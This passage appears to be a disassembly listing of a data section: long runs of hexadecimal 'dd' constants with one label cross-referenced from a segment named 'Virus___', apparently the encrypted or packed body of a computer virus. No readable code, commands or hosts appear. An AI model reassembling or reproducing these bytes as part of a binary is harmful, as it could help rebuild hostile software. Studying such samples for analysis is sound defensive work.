		dd 0B446DFA7h, 31A3A05Bh, 0BDB78445h, 0CEBAD53Ch, 0CEB907Eh
		dd 0FA9F3FC1h, 0D5E991C8h, 7C370319h, 386A8DF1h, 96475B29h
		dd 712A9569h, 9116D91Dh, 0F368367Ch, 0DD99CC56h, 89D6974Dh
		dd 5D51B5F0h, 0C60787C9h, 3DAC805Fh, 982A138Bh,	53959569h
		dd 0F1A9C063h, 8FEC3E49h, 969E347h, 0AEDA2050h,	743FC136h
		dd 84276B4Eh, 986C9CEEh, 0E3B89569h, 72BA26FEh,	36BC3132h
		dd 8D7AA3BCh, 4B1A0A58h, 666AB555h, 0CD0D29ABh,	0ADA190E9h
		dd 0D96C31A7h, 903C0320h, 89C7B5C9h, 99F393F8h,	8267C0CFh
		dd 32452826h, 0AE0787C9h, 0DCA3E65Ah, 3449F897h, 0E770A88Bh
		dd 80594B4Bh, 0DDE07E52h, 969E3FEh, 70E43650h, 0FACA95Ah
		dd 0F5A7A3E8h, 920EBA76h, 804A3EF0h, 196BBF89h,	0DDE081B1h
		dd 1AD41CB0h, 216E8DF8h, 99BF1193h, 77E3A7F1h, 63F6EA1Eh
		dd 274BADEBh, 2BF717FCh, 5BCAB4BCh, 0F2F8B609h,	9B282C53h
		dd 8A0AAA5Ch, 0F727D163h, 11450089h, 0B2171947h, 64D62CE5h
		dd 5D20524Ch, 6513E76Ch, 8646E64Ch, 0DDE0C002h,	0AF014D20h
		dd 50255218h, 0D9F48CAEh, 0CFB01FD7h, 0C5F48302h, 0FEA1C5BEh
		dd 4B8749C5h, 0A1E9C76h, 70589CC3h, 4A120DB8h, 0FE6F8457h
		dd 0BE8CAF8Fh, 0E5ACF346h, 3915E1AEh, 0DC16C8FAh, 74B50320h
		dd 5DF58B4h, 0E36F08B9h, 61ABD38Bh, 94DC32AEh, 87FEC0FEh
		dd 187CC350h, 62C8B54Fh, 95DEDE7h, 0F20F2233h, 0D5A3F724h
		dd 46BE9447h, 0ECCCDB68h, 0C0E833AFh, 0F20FF4BCh, 0D7233C31h
		dd 9DE946EFh, 0DF41848Eh, 0F20F2026h, 0A0AA53C0h, 661091BBh
		dd 7011CB68h, 12628F60h, 8149F9DFh, 6A58669Eh, 0C4B5735Dh
		dd 6A8CC9F4h, 0F056A1FCh, 0D7741102h, 0B2F0ABB3h, 0A7DB9C12h
		dd 0EDB7B69Eh, 31A9CB5Ch, 0EE5C6A69h, 0B5D978FBh, 2578D667h
		dd 2D3DA268h, 523103DAh, 0FC9CF1E5h, 1502ED33h,	0B8C88A2Eh
		dd 0FDB5BA2Dh, 0C1EB858Fh, 0E008E814h, 0F387CE9Ch, 0E9331450h
		dd 6A4EFD10h, 0DBB5035Bh, 67873E06h, 985D0FD6h,	20AB80F8h
		dd 0A3F8DC79h, 0E271F1ADh, 0FF87E99Dh, 5A6E164Ch, 0F7B8D585h
		dd 0A66CB4B4h, 3E4E49A3h, 0F00255C8h, 6608AC05h, 63C30201h
		dd 33BE3848h, 0A9598Fh,	6648DA35h, 51A58090h, 38D25428h
		dd 978FDE83h, 31182A3Ch, 5CBD3795h, 6B08AE23h, 0DD579C62h
		dd 2237EB3Eh, 0F8EA59EDh, 0CD08DD07h, 6EF33168h, 50A53F5h
		dd 3F849945h, 5407D8EFh, 0B88495E7h, 0EC1F3947h, 0CC057EE6h
		dd 6297C11Dh, 0C46A5033h, 6AF6A6D8h, 0A941676Bh, 60E05B7Eh
		dd 7C9165C1h, 146DC923h, 75FBDFB3h, 2657983Dh, 4A0C777Dh
		dd 0A08A13Eh, 324256BCh, 0A95B86CCh, 312798EBh,	10849C18h
		dd 0D2184C4Fh, 5CECCE43h, 39E836D3h, 0F36F13FAh, 88C02D6Fh
		dd 1A46ED86h, 970EC9C5h, 4BF0A67Eh, 1268A7BEh, 32DB344Eh
		dd 0D0366B6Dh, 71378294h
		dd 64FFB81Ch, 0E7EA9BAh, 36998FAAh, 0C88F141Ch,	9038B2D8h
		dd 9C96BAAEh, 9F665B9Ah, 3ABDD893h, 0EE8EF5E6h,	48741FEh
		dd 7BFB025h, 48C14318h,	7BFB025h, 7ABF7A9Bh, 3233ED86h
		dd 0F78FEA91h, 0E6A80785h, 53605CB7h, 0BA01D26h, 0BD53B929h
		dd 0F9823B78h, 0C970C4E3h, 6AE91F8Eh, 56DA25BBh, 4571F1ADh
		dd 56E53428h, 384E843h,	88C6D479h, 0ECC98788h, 0E630CA7Dh
		dd 8C251615h, 905F8FC3h, 25877FE0h, 8930635Dh, 8A2B1BC5h
		dd 0DB9FE02Ah, 0CE65CC18h, 0DB1DB4EDh, 0E653B1A2h, 0FD3F1B2h
		dd 268A08BCh, 0C2A36385h, 0E44E4C44h, 4BBCB794h, 0C468182Dh
		dd 0DAD336D8h, 868C57FCh, 93FBC30Bh, 4FBC47ADh,	0D729DCD1h
		dd 0ADC5E748h, 0B3E56F01h, 42F09DCCh, 0B3E56FF9h, 0B492F9DFh
		dd 0DCF7D032h, 4F0BEA99h, 0F50652E0h, 0E1894883h, 0D1E5D068h
		dd 0B7E5447Dh, 0E956D09Ch, 81CD6D4Bh, 27035214h, 69C7B8A6h
		dd 929251BEh, 0BEB050F5h, 8A292FD5h, 0F00316E1h, 0AFD10C70h
		dd 0B257C553h, 285BE6ACh, 5770C8FFh, 7FD6AAFh, 7B7DF8D2h
		dd 1EF20ADh, 26DD8E09h,	9B15E539h, 0ECA429AAh, 0A569F659h
		dd 26821523h, 29A6AA6Ch, 70BC0FD6h, 0C5CD6502h,	0CDFEBD23h
		dd 0FA8A59C2h, 4D27A8D3h, 60A124EAh, 0A3E60234h, 0F929B722h
		dd 20495B9Bh, 0AC7F7443h, 76E286A4h, 93CAD8CEh,	8910C7D1h
		dd 0C28FED7Bh, 0B658C7AAh, 0C8F4FE3Fh, 27F9EAD8h, 3524687h
		dd 31518727h, 96382D95h, 4D07167Eh, 53B1E02h, 4D071B23h
		dd 0EA5ED502h, 4E5E1154h, 963810CFh, 72F0F7D5h,	5CC015D9h
		dd 91CA9CCCh, 0C8F4FD56h, 0C3A05AD8h, 99D7BF27h, 91EF9B46h
		dd 0C8B72A6Dh, 0C6A614D8h, 0C9B515D8h, 0C873AC23h, 0DC6FAC23h
		dd 0B7B515ADh, 526F9D30h, 0B7B09306h, 1DC8FF8h,	4365B645h
		dd 0DF7B1FA4h, 23F81049h, 40729063h, 0C9D8F45Bh, 0D1BA9D2Bh
		dd 0C8B5112Ah, 0C46F642Dh, 64C015D8h, 4034BEB3h, 658AD1C7h
		dd 0BD824C13h, 0F202B261h, 0C8B726E9h, 970B8CD8h, 660473EBh
		dd 0B8D3D9BFh, 2B43EC39h, 43A20AE9h, 1615EADAh,	59020CD6h
		dd 52B46E80h, 16FB12E5h, 0FF780DA8h, 0FB58931h,	474E3AA1h
		dd 16FB039Ah, 0C38F083Fh, 0D39E15D8h, 45120D90h, 0AA98931h
		dd 9188A298h, 3B1F40D7h, 474B8931h, 1615EB1Ch, 47FA859Eh
		dd 16103823h, 0B39B4762h, 0C1B08931h, 0C8B089FBh, 94BB92D8h
		dd 7543E74Dh, 0C8B51131h, 0C8B501ABh, 0C36BEDD8h, 38E415D8h
		dd 1615FA7Eh, 0D99101F9h, 16FA5689h, 6BF21DA8h,	7439160Ch
		dd 0C8B09025h, 0E6307FD8h, 2C844055h, 48B515D8h, 4767E007h
		dd 0C8B58702h, 0BBB7AC67h, 0F77CF8B1h, 0D9910AEEh, 1610384Ah
		dd 114B90F7h, 2E066791h, 92DE310h, 0B2147183h, 0FE7F46BAh
		dd 5565502Ch, 5A63ED61h, 22FFEE5Ch, 8013E31Bh, 1C8FDE5Fh
		dd 5DBD4223h, 5A066B5Ch, 0A7498D0Ah, 701E45C1h,	387321A8h
		dd 5BDDACFEh, 5D78FEA1h, 0DE4EF017h, 0F3D907A9h, 733397EEh
		dd 9543E2FDh, 89465878h, 536BE8EEh, 0C8B58C11h,	0F802B5D8h
		dd 67209B23h, 0CB4F14ACh, 0C8B7A8ADh, 0D1DBD4D8h, 0E36D29A9h
		dd 0F43E7022h, 0AF135FECh, 1616A3C1h, 0D399502Eh, 6F655B3Fh
		dd 0C316B6EDh, 26BD3D8h, 0C8B58C09h, 0F801B5D8h, 67F89654h
		dd 0CB4F14ACh, 0C8B7C9ADh, 0F67F1BD8h, 89169514h, 1E745C31h
		dd 0AB4B9B51h, 0FF43E214h, 4D7EAB3Fh, 0C8F4DAEDh, 0FCEA2CD8h
		dd 0C743F2BFh, 6F66E65Ah, 0C7CCA3EDh, 7DB515D7h, 2ACEC7F2h
		dd 598602BFh, 0B2B58931h, 16167955h, 0C16D5589h, 0D99EFEDAh
		dd 16C4AE1Dh, 757050FAh, 0CED3FBF1h, 0A28BB69Eh, 4B5B3BE9h
		dd 0E67C8E05h, 634D584h, 4711AE5Fh, 0C5B213FAh,	0FE1C5BAh
		dd 32BC5021h, 7C26D1E6h, 0CAA17666h, 0A1FF39Fh,	0EFFA5AC2h
		dd 97B8E4B1h, 4C0C4C3h,	0C1399B63h, 0D302EB3Ch,	0B3DDE4DAh
		dd 0E20E4DA9h, 951B71BDh, 44FF19FBh, 0D85BF4D8h, 0DD74EF5Ch
		dd 569F70E2h, 1D15FB9h,	0D14B3A9Ch, 0A4E4F765h,	0A51F42F2h
		dd 6B60C1FCh, 320D7D8h,	7E5E029Ch, 0AC8C3654h, 0FB89CFDCh
		dd 29B5FDC8h, 87FBB4Fh,	0AB79CE76h, 0CD8110DCh,	3303554Ch
		dd 59D62345h, 172F8BA2h, 95FAAFC3h, 8D2425E9h, 0AC8E15FDh
		dd 3E2DD66h, 0AC821D9Ch, 2EF6AF66h, 11BFC397h, 17053441h
		dd 0B7587BC3h, 0A0DFBCE2h, 5456DFE6h, 0A092EDE5h, 0FC766FCFh
		dd 43600C1Dh, 979CC5E6h, 0FDAA3C30h, 433192BDh,	0CD3C241Eh
		dd 0F3812C77h, 4969E58Ch, 9BD3A960h, 1103A4A8h,	0A115E99h
		dd 0DD9B7BC3h, 3B03A467h, 0B216AD68h, 0C85FADB9h, 95812C77h
		dd 6BA7FE21h, 5C6A9A81h, 8EFF4D32h, 227A5D33h, 7F8C1B54h
		dd 7F3CD9Fh, 0A9210627h, 0D4C566E3h, 0E47BF929h, 0AADD0421h
		dd 2EF3A7E3h, 0E4CC6424h, 7A2DCEB5h, 3A80632h, 52F34948h
		dd 0B4E5C066h, 0B2C2F766h, 0FD0A1032h, 82EADE79h, 62AB18B1h
		dd 0A233828Fh, 0C872C8E3h, 22492625h, 13869032h, 87F5EE3Ah
		dd 40492632h, 863D1412h, 40492179h, 0E5682EC4h,	43C5C332h
		dd 43C02B7Ch, 4049264Eh, 7D6DFC49h, 4B77A0D0h, 8E1D1B16h
		dd 0B2490FE3h, 87F6BA9Bh, 0A25B1418h, 4049217Ah, 0BF6838C4h
		dd 43CC9054h, 43C02B7Ch, 40492B01h, 65682F9Bh, 3CAAC428h
		dd 9FFBD3EFh, 7AA4C41Ch, 61B48AC5h, 437FCD9Fh, 7A22EDE7h
		dd 9B692632h, 0C4FE303Ah, 0ECF8EB86h, 0DF36CF40h, 0DE62632h
		dd 2C72998Fh, 0DFC6702Ah, 3C131419h, 87F50BDBh,	82DDC731h
		dd 70E5A96Fh, 33FE4805h, 5038B806h, 6F318E27h, 85CFEC8Bh
		dd 0EA1B6407h, 6D03FFBDh, 0C28A189Dh, 57E659B1h, 0F3B8C4C8h
		dd 1AE93CC6h, 70B82C46h, 0D02F3328h, 0FDE22E15h, 0F4328D1h
		dd 0AA76FB70h, 8A50B5B0h, 8DAA608Ah, 0DB504404h, 63C272A9h
		dd 2E357E1Ah, 0F98E9123h, 99B6CC4Bh, 33B0042Ch,	9EBAD2E8h
		dd 2F0EC7B3h, 0EA9DCB5h, 7286A660h, 0C2D4DFE6h,	29176425h
		dd 52A070C5h, 23385A69h, 0B094442h, 0FF36FAC4h,	3BF69AC6h
		dd 44093770h, 97DA3C92h, 679C126h, 0DFFF7D0Eh, 0B4283865h
		dd 4DFD90C1h, 0F2B48D4Ah, 3922CE59h, 55E6935Fh,	9329390Dh
		dd 9AAE072Ah, 7BF0A10Eh, 8EC9A431h, 96DACB58h, 0B0B9023Eh
		dd 0D2F81D68h, 0FB7BEC91h, 0FDCB3EA2h, 87C81EC1h, 0B0DC925h
		dd 0B096728h, 0DA449D70h, 9E62E640h, 0B7A421BAh, 87F91Dh
		dd 0F492519Bh, 35B842F6h, 70538E43h, 0D5771C9h,	67A5CC70h
		dd 28FA4342h, 0B093768h, 1F6DB3F4h, 0F716BC38h,	14C0C3EEh
		dd 0ADFD8FD6h, 0A053931Ch, 2E75E9F4h, 39A0CAFFh, 33AF2AB3h
		dd 176FDAA7h, 0B10EE9B4h, 3F0B599Bh, 0F149B28Dh, 7FD6282Fh
		dd 0F5C56C2Dh, 9DB89F3Eh, 0BE2580F8h, 3A02CB3Eh, 915ED71Eh
		dd 3F091BF4h, 3	dup(3F0B586Ch),	1A80586Ch, 770B5CE1h, 533E9E0Fh
		dd 8DF0FD65h, 1C47BD6Ch, 5F811A95h, 773BA815h, 533EBA00h
		dd 8DFED165h, 0BB5FBD6Ch, 23811ACDh, 773BA87Bh,	533EB78Bh
		dd 8DDCD565h, 963DBD6Ch, 0C7811ACDh, 143BA982h,	0A011688Fh
		dd 0A979E028h, 0EB311B8Dh, 2CDC8ABFh, 62633C7Eh, 64B8E06Fh
		dd 896E0D1Bh, 5CBB22C3h, 0B31590BCh, 78F5FE96h,	0C471B7EDh
		dd 68DFCEB4h
		db 60h,	15h, 0D3h
byte_5C466B	db 42h			; DATA XREF: Virus___:0058F045o
		dd 0AD48BD9Ch, 12843EDEh, 75433F10h, 0C1874787h, 2ED0AE26h
		dd 0C60B5839h, 0C393944Dh, 2C88DBCDh, 7B79F8DFh, 0E73A88E6h
		dd 0BB664B74h, 0F5F53202h, 0D30FC6C5h, 1655F942h, 6487BE2Dh
		dd 0E3B03506h, 7EEC1174h, 0A5568DA6h, 0D8ECFB10h, 0F7AB0FAh
		dd 0BEE663BEh, 31C52866h, 2CF333B9h, 0E9A40582h, 0E8ACD9EDh
		dd 3D5549D1h, 0FCF8B44Bh, 0A062FEFFh, 0C14B16B6h, 0FD452B50h
		dd 8C4728CBh, 0C2C6BBD4h, 5E75C568h, 43444523h,	192CC6Ch
		dd 0DFB1E2A5h, 97459AF3h, 0E2216CA2h, 0B049A9E0h, 0BC64F720h
		dd 783B522Bh, 51A5FB31h, 7A9C065Ch, 7C15D740h, 45F6DB04h
		dd 4E7BF622h, 546C75CBh, 0C73BA2F9h, 0BB088B87h, 66ADA5Ah
		dd 7E282310h, 1DFA2AD3h, 7E6E00BAh, 1D298C9Dh, 9DAAEEEDh
		dd 0AF5A78ABh, 3E240372h, 43444BC4h, 0DA13AF6Ch, 0F42FC666h
		dd 0EB9141F3h, 8FBD4AB1h, 0B7D38D8Dh, 591B31B3h, 5C9052B5h
		dd 45CBFB5Ch, 5C9052B5h, 6B7029B7h, 0A75D5E8h, 0C5594B48h
		dd 2C88DBCDh, 0AD793DDFh, 9DADCA48h, 0A2EC6047h, 4E554C62h
		dd 1C1C241Dh, 46B584Bh,	59AAF35Eh, 5EA1804Dh, 0C88BB677h
		dd 862056E4h, 494F3140h, 0D9651EBAh, 68CD5F43h,	0F8CB9B68h
		dd 9BEA2A2Ah, 0E17A0290h, 3683C36Fh, 58E90453h,	6F15272Eh
		dd 3C31775Ch, 0F80FF52Eh, 0E5A898Dh, 0C04625EAh, 995FC55Bh
		dd 74B98E94h, 0CBBE48Dh, 0EC2660F6h, 9FDA7166h,	7F4709DCh
		dd 2C982ABEh, 0FBEA82D6h, 29DC78C8h, 20A7636Ch,	60DCB50Bh
		dd 0F79379A6h, 7B51458Eh, 0C1F3EFFFh, 434C8B5Fh, 97D52901h
		dd 293BBD58h, 97D52901h, 226B4E8Bh, 3C6AB825h, 0BF454B48h
		dd 2C8B6F3Ch, 0DFDC93DFh, 69DBFED5h, 376FAB3h, 1765B4D8h
		dd 521A7229h, 9169420Eh, 0CBACBEEFh, 78393527h,	0C2C7ACB4h
		dd 0E2017CCEh, 70AF555Ch, 253B5327h, 0F400CACCh, 5B927FBh
		dd 8E9D5FAEh, 66AD68CFh, 0BDC505CEh, 552A68F7h,	0BDBEDA46h
		dd 21B36F48h, 1076E7BFh, 1135DB75h, 0C79F5C25h,	4E03A93Bh
		dd 0F33141ECh, 0B4734730h, 0CDF10124h, 37646BAh, 924F4905h
		dd 0B56BBDB2h, 380F3519h, 69DD707h, 0CF5B561Bh,	0DFF5A599h
		dd 0C91612D5h, 3683D6F7h, 1342BA53h, 0C59639Dh,	15B78363h
		dd 0A1770E8Bh, 0B609D00Dh, 2E57073Dh, 0E4A2024Eh, 0AB5AAD1Bh
		dd 154956C2h, 0A6E2F0A4h, 6F79DB5Bh, 0E4B9CDBEh, 9232475Ch
		dd 9C5D0F12h, 0A050025Dh, 567487E7h, 3F0B5831h,	0DD5022Fh
		dd 0D24DC3D7h, 1DC73F90h, 0A55EAAC4h, 4CA55E30h, 220E5DF3h
		dd 0A8E0A215h, 6A60983h, 0B2F0B7E8h, 0E013BBF8h, 394A253h
		dd 6D7665Bh, 8895FC2Bh,	3876C1D0h, 1EB76897h, 0EC090643h
		dd 1AF3EB33h, 0E0042982h, 5F229972h, 0A3A14677h, 911BCB74h
		dd 0EB9AAA84h, 3331276Bh, 2F92D12Ah, 435C1B6Ch,	4475F234h
		dd 466E958h, 235620A6h,	884AE5C9h, 0D24B86C3h, 5FD1E61Dh
		dd 0AA14FD1Fh, 5FD1E29Fh, 0B1388F1Ah, 4852DE6Eh, 246D479Fh
		dd 0B586DA30h, 56338356h, 0E3825F2Dh, 1DD19CE8h, 72D79C84h
		dd 0A32E537Eh, 220872C7h, 845C83A3h, 39FB4E01h,	317A3A78h
		dd 49923D9Dh, 0E2F3B1A1h, 8558D3Bh, 0AD8C4A17h,	0DADAA301h
		dd 1EEC53BDh, 0AFA8835Ah, 0FAF29E1Bh, 8D4138EFh, 0F1F5E6D4h
		dd 350AF8E9h, 0BC56A9F1h, 0EB6978DBh, 6B5A40E2h, 163EA37Eh
		dd 66A98111h, 0F15A743Fh, 8AA1F365h, 0CE4503Ah,	4D8A56F6h
		dd 151D049Dh, 0E68E9203h, 0A14C38C4h, 5CF7EB24h, 0FA7C3A8Bh
		dd 1FF87416h, 0E96051CAh, 2E4A023Eh, 2C94736Ch,	0F0E2EAD6h
		dd 75854B9Fh, 0AB2BBFD5h, 73B1CEFEh, 0DD9F608Fh, 1A7BE20Ch
		dd 7EFAA3A8h, 1A7BF5B8h, 162BF8B3h, 0AB2E644Fh,	46F54B4Eh
		dd 0F3BA74B6h, 51D2CC42h, 65FFE8E7h, 8B0CB11Dh,	0CE777820h
		dd 97A98115h, 5CA6E5F1h, 0E2798B92h, 58572093h,	0EAF0B03h
		dd 0DBDE1303h, 0A97D2555h, 0A503625Ch, 0C3017847h, 0FCDAF9D7h
		dd 79B4F040h, 37D372E9h, 98906B15h, 6CC592FAh, 0C0BBFAEEh
		dd 8C497D07h, 0DD4E73CAh, 46D30396h, 0BBA32218h, 20A4D529h
		dd 811B2DC0h, 1CE02228h, 6211D97Ch, 0EFF0D163h,	0E39B6448h
		dd 0AF8E8FE9h, 6965382Fh, 1BB576F0h, 0E1930DD4h, 0F4032A10h
		dd 6EED09h, 0E74D7104h,	4D9F30B7h, 56C9B148h, 38878E7Ah
		dd 9B022F44h, 0F4104071h, 0D436B052h, 0AD4E3CEEh, 94EF78C3h
		dd 95DD3EFFh, 337E43D2h, 0BD5BA76Fh, 0EB3D2875h, 8C0B561Bh
		dd 0F2C3AB5Fh, 0DDFC898Dh, 843672B5h, 4238273Eh, 7610EF24h
		dd 920A501Fh, 635833ABh, 50553600h, 46CAB32Bh, 534DDA4Fh
		dd 0C4719F45h, 9828F36Ch, 5E5B645Fh, 0BA5A3CF8h, 0BDF58762h
		dd 0B0A30024h, 6929ACF5h, 0D13B65E0h, 5E21D8B0h, 115DFA91h
		dd 4C5118CDh, 0B02346D1h, 42382751h, 73059EB2h,	0BA756D6Eh
		dd 0FCC4EDBh, 0A0CC29A8h, 5FF2D209h, 0D1C0D5EFh, 29860D5Bh
		dd 4C69586Ch, 65CCC754h, 0DA4C5F21h, 0E3D4C988h, 7F83AE8h
		dd 0AE2661FCh, 4728A431h, 1B1D6AEBh, 0E22E0A55h, 29A050BEh
		dd 394A727h, 29A050BEh,	80ECF827h, 474AD2C3h, 0C12C919Fh
		dd 83D0E8A1h, 261A09F9h, 6BB08244h, 0F055ADCEh,	0B46CCF8h
		dd 92055BCFh, 6B2E81F3h, 0F0557964h, 0CEC8AF8h,	0ED0109F8h
		dd 3D1102Bh, 0F9CD11DCh, 3010B96h, 80CD0D83h, 6B2B4083h
		dd 98821013h, 0F201ED26h, 39DEF2F0h, 8D3452F8h,	0EA956247h
		dd 0A9CBD856h, 361A0AC6h, 1428244h, 8F49F9C6h, 2F40D9Ah
		dd 0E9AA9907h, 0AB0109F8h, 0F050F760h, 894C78F8h, 9E0C5B20h
		dd 6B2E8109h, 0F0557964h, 0FED48AF8h, 0ED0109F8h, 0E3D1102Bh
		dd 4826EA7Bh, 0E1E4CD50h, 0B32B3D47h, 0BE22F064h, 8DE91165h
		dd 9D1161D5h, 0A7C17A81h, 0B5B2705Dh, 9EC1B7F6h, 517392E1h
		dd 25F4B1C2h, 0D5C45810h, 0A44654F2h, 88C6965Ch, 3F51DABDh
		dd 1A324AC9h, 948AA4AEh, 4D8E3BF8h, 5FBD3523h, 0FF7C692Bh
		dd 2C907D79h, 0CE7B25BAh, 30D3E9F0h, 1CA9BE5Bh,	7F1B1128h
		dd 0B1C84C11h, 0F23365B7h, 0AB977C26h, 2C4BF8Ah, 97103D2Fh
		dd 0DE11A987h, 0F050F5EDh, 0D390F7F8h, 0A06839EBh, 2F5A1182h
		dd 7BAD00EEh, 420109F8h, 13434BF7h, 0C8DCB987h,	0F2238C39h
		dd 0EF66E7F8h, 0F2362FA0h, 6A0709F8h, 7B792466h, 3C3A1D95h
		dd 9318152Bh, 0F201F063h, 34EB7A20h, 0B2BCF010h, 81A0389h
		dd 0E9535E0Eh, 7E32D83Fh, 0C5789239h, 495701E8h, 140109FFh
		dd 4B708B7Fh, 0D1CA677Fh, 1D8E5AA6h, 0F204F657h, 47962041h
		dd 83333CFh, 4E14DF08h,	0B873E889h, 38C4DB13h, 650109FFh
		dd 0F23CF7D6h, 44428AF8h, 0B9CD8956h, 7DFBD54Bh, 17242B50h
		dd 0C229C05h, 69A109F8h, 6DAF1EEEh, 0AB9800DEh,	3A38EB22h
		dd 653C15BAh, 5501F8A4h, 0BBECEBF8h, 0C90FD2EDh, 685BEAF8h
		dd 5745FC2Dh, 58BAEBDAh, 0DF877244h, 58DE2492h,	0F22B70DCh
		dd 987C363Fh, 0ACD074FDh, 9E7A53E5h, 0C066F95Eh, 751FD6DCh
		dd 74EF6051h, 1CC874FDh, 4B907AB4h, 0AA846395h,	264107B5h
		dd 0A9CECBE4h, 883DEF9Eh, 21F626D0h, 4515E57h, 23BD5489h
		dd 0AF5C6A0Bh, 5CCBF16Dh, 3333A55h, 0B200B33Dh,	7B9284Ch
		dd 4A22A745h, 7194A385h, 5A698F3Ch, 0DC77B2BFh,	7D93FC62h
		dd 7D838319h, 0D2F65522h, 656842B1h, 0A4801209h, 0F848E225h
		dd 0D421D9D4h, 717409A6h, 5F816704h, 5F6C23ADh,	2BC8970Ah
		dd 9881D762h, 58DDFB41h, 0DEBD2744h, 0DC497311h, 0AFF81A6Bh
		dd 82838F27h, 0C881E1F3h
		dd 8BCD7080h, 3921A075h, 83C015A7h, 0FE7A87C8h,	9FCB7BF5h
		dd 8FAB60FBh, 0ED56D997h, 3BCFEB33h, 348E74F1h,	0CF971D2Fh
		dd 9D6CC6F8h, 7142E7F9h, 0B26D92A8h, 42D53A20h,	0C5157A74h
		dd 4FA19665h, 5B11F1D1h, 0BB058AA6h, 0E2970081h, 3EB71814h
		dd 0DF093DEAh, 58B96869h, 0B0415BDAh, 7109EAh, 9504E519h
		dd 0AF59CB08h, 0EA33F54Fh, 0C736D764h, 0AF9644F3h, 5925A35Ah
		dd 0AB70182Ah, 0E91C8D99h, 83B6701Ah, 0CEE48BF3h, 85394C4Fh
		dd 1F87B76Ch, 444C696Fh, 0CF976E71h, 0BF21E9EFh, 0C88C6A8Ch
		dd 8E3BE55Eh, 41393990h, 0A1AB6F42h, 0C18C508Ah, 3F65CADFh
		dd 0EE403528h, 3D6376A7h, 11CB871Eh, 0F5A34960h, 4B569CD0h
		dd 43976922h, 0A1E3E3C8h, 167455ECh, 0B5A0CC5Ah, 511316B7h
		dd 588778ABh, 94E94422h, 485EB434h, 439C07C3h, 0B503892Ch
		dd 4BB31C81h, 1ED3EB83h, 0E663975Ch, 0C96C94D7h, 7B64F216h
		dd 0CD55AA1h, 709BB101h, 0A2DE93F3h, 0D652467Ah, 1010C74Eh
		dd 6630927Eh, 709EF5C8h, 1B4D8AF3h, 5F51CFB4h, 0FF13F42Dh
		dd 1DAE26F7h, 8E868D1Bh, 0BB30A170h, 0EE74784h,	1824240Ch
		dd 0AE42AB9h, 9EAE935Bh, 0C6B5A75Ch, 9E11100h, 0ABA8C466h
		dd 58B961E3h, 435FB13Fh, 2E3D2894h, 377EE006h, 33073A6Ch
		dd 0A2B4286Ah, 3B3C0653h, 5F698FF8h, 0F61C8647h, 5B325177h
		dd 0AA7253DEh, 0E6325262h, 0A0CC7561h, 0E0333C8Eh, 7EEFDF38h
		dd 0BD2D0F2Eh, 9B5E0303h, 33A98EAEh, 12158920h,	4E0ED666h
		dd 58877738h, 6501605h,	1D2B90C2h, 6EDA3289h, 6C6949B8h
		dd 7A29DDEDh, 0ECE3B219h, 816990F4h, 6A0A9396h,	5C68414Ah
		dd 0ADD4806Dh, 5F0B11E5h, 58BAA424h, 435FAB7Ch,	80CB2894h
		dd 3AE84E54h, 6060E41Fh, 0C9415681h, 83D462CBh,	79E4322Fh
		dd 88D78F4Eh, 1F63F091h, 7C25197Ah, 0BD29ECE8h,	0C11AB1EDh
		dd 77E2F61h, 0AF4D278h,	0E864968Ah, 648ECE81h, 0ACA8C949h
		dd 0A107FEEh, 0F0605ED4h, 0B90EB014h, 0ADCA5B86h, 1D1C208h
		dd 0DFA06EB2h, 63C1E7A1h, 0FABAB9E0h, 8E2A88D8h, 8E2D2093h
		dd 0B542B33Bh, 6490F91Bh, 5E9B7139h, 0E170182Ah, 18D86B5Bh
		dd 5A8A6817h, 0AE7279D5h, 9D09A35Ah, 570DFA26h,	0FCE6D45Dh
		dd 0F92D04DCh, 3E4BFCEFh, 9E932B9Ah, 2F324FBFh,	0B395E49Bh
		dd 9388414Ch, 0B8811AF6h, 66206907h, 3EC23426h,	6653E12Dh
		dd 32106BA2h, 0ADAB1159h, 2420E654h, 593CBD86h,	5308AEB7h
		dd 0BCB40533h, 54C6C2FBh, 9B25F5F7h, 755839A5h,	0D8C4D12Ah
		dd 0EE10977Eh, 8DB275F4h, 0DE34AE89h, 979512BFh, 22DB222Ah
		dd 5D8686D1h, 0B7A4C678h, 0F8B84C22h, 0F06FC551h, 9F9C8E48h
		dd 958C44E8h, 1B2E0076h, 0FC794841h, 298AC5AFh,	0E49587ABh
		dd 9285193Ch, 196709E1h, 96BBB23Ah, 8F9B472Bh, 0DCF665E1h
		dd 282640ACh, 534B8DC8h, 8AC5B44h, 0B4F7A4CEh, 0BBA439EEh
		dd 2B795D44h, 648FBB93h, 9936EC6h, 0EE84D635h, 0B8B0459Dh
		dd 55B1918Bh, 0D423693Ah, 16CBBC54h, 0C9A09957h, 0CCDE24FFh
		dd 40A0FE36h, 59492F1Dh, 0A93338Fh, 59FAE25Eh, 87C5D7C0h
		dd 3D6F558Bh, 3DCF69E9h, 56BF2B59h, 955515C6h, 0AA46A377h
		dd 385026DCh, 4C4CBD00h, 0F1E7BFEEh, 0F3AF5228h, 90B1C726h
		dd 77D67D08h, 0ECE93C52h, 8A79922Ch, 952FA2A3h,	0D2AAB2A2h
		dd 0BE2C3BF8h, 0C61BA0Bh, 0FB1C2B6h, 99F4195Fh,	0C6D8BA20h
		dd 0A9D1E9F1h, 224E169Bh, 0C8789A2Ah, 0E4D1BED2h, 0A9D46DB8h
		dd 6C4D87EAh, 4E3C751Dh, 447CCF29h, 9EDD9359h, 0C2B903A8h
		dd 7465373Bh, 626BC3D3h, 0C96B9622h, 0A621B9E1h, 0BA413EEh
		dd 2A398BF4h, 988C54A5h, 131B7AB7h, 0D5895C55h,	56C51746h
		dd 5EA73301h, 0CCE5F09Eh, 0B446BB2Ch, 0CCE0DB51h, 0F146BB2Ch
		dd 0C993DBA8h, 7347D447h, 8C5AF09Eh, 6D6A0116h,	0F6A9E60h
		dd 3EA1C0B8h, 0C5CBB92Bh, 0EBF6B238h, 55D22185h, 0CFD57151h
		dd 0EBF254E1h, 0AE471351h, 55D21629h, 7AADAE82h, 0B4DAC012h
		dd 5327EEEEh, 37DA044h,	7D55B870h, 0BA634F75h, 0D99904C4h
		dd 4F9FBBF7h, 2F266B43h, 0B426B9E1h, 5327EEA3h,	0EBFEB544h
		dd 0EBF67785h, 0CBED36D7h, 0EC26B9E1h, 523C80A1h, 5A54BC5Dh
		dd 98C347C9h, 3EEAD7CEh, 99A2F5F2h, 73004DBBh, 0BB00C055h
		dd 552706F9h, 0EB9CC11Ch, 18438D44h, 2D066910h,	47276D86h
		dd 39CD1E4Ch, 42F7FA26h, 85D77086h, 48ECF5DDh, 200ADAFEh
		dd 0A349632Ah, 5327DB09h, 129F9844h, 55624F40h,	556D6C2Dh
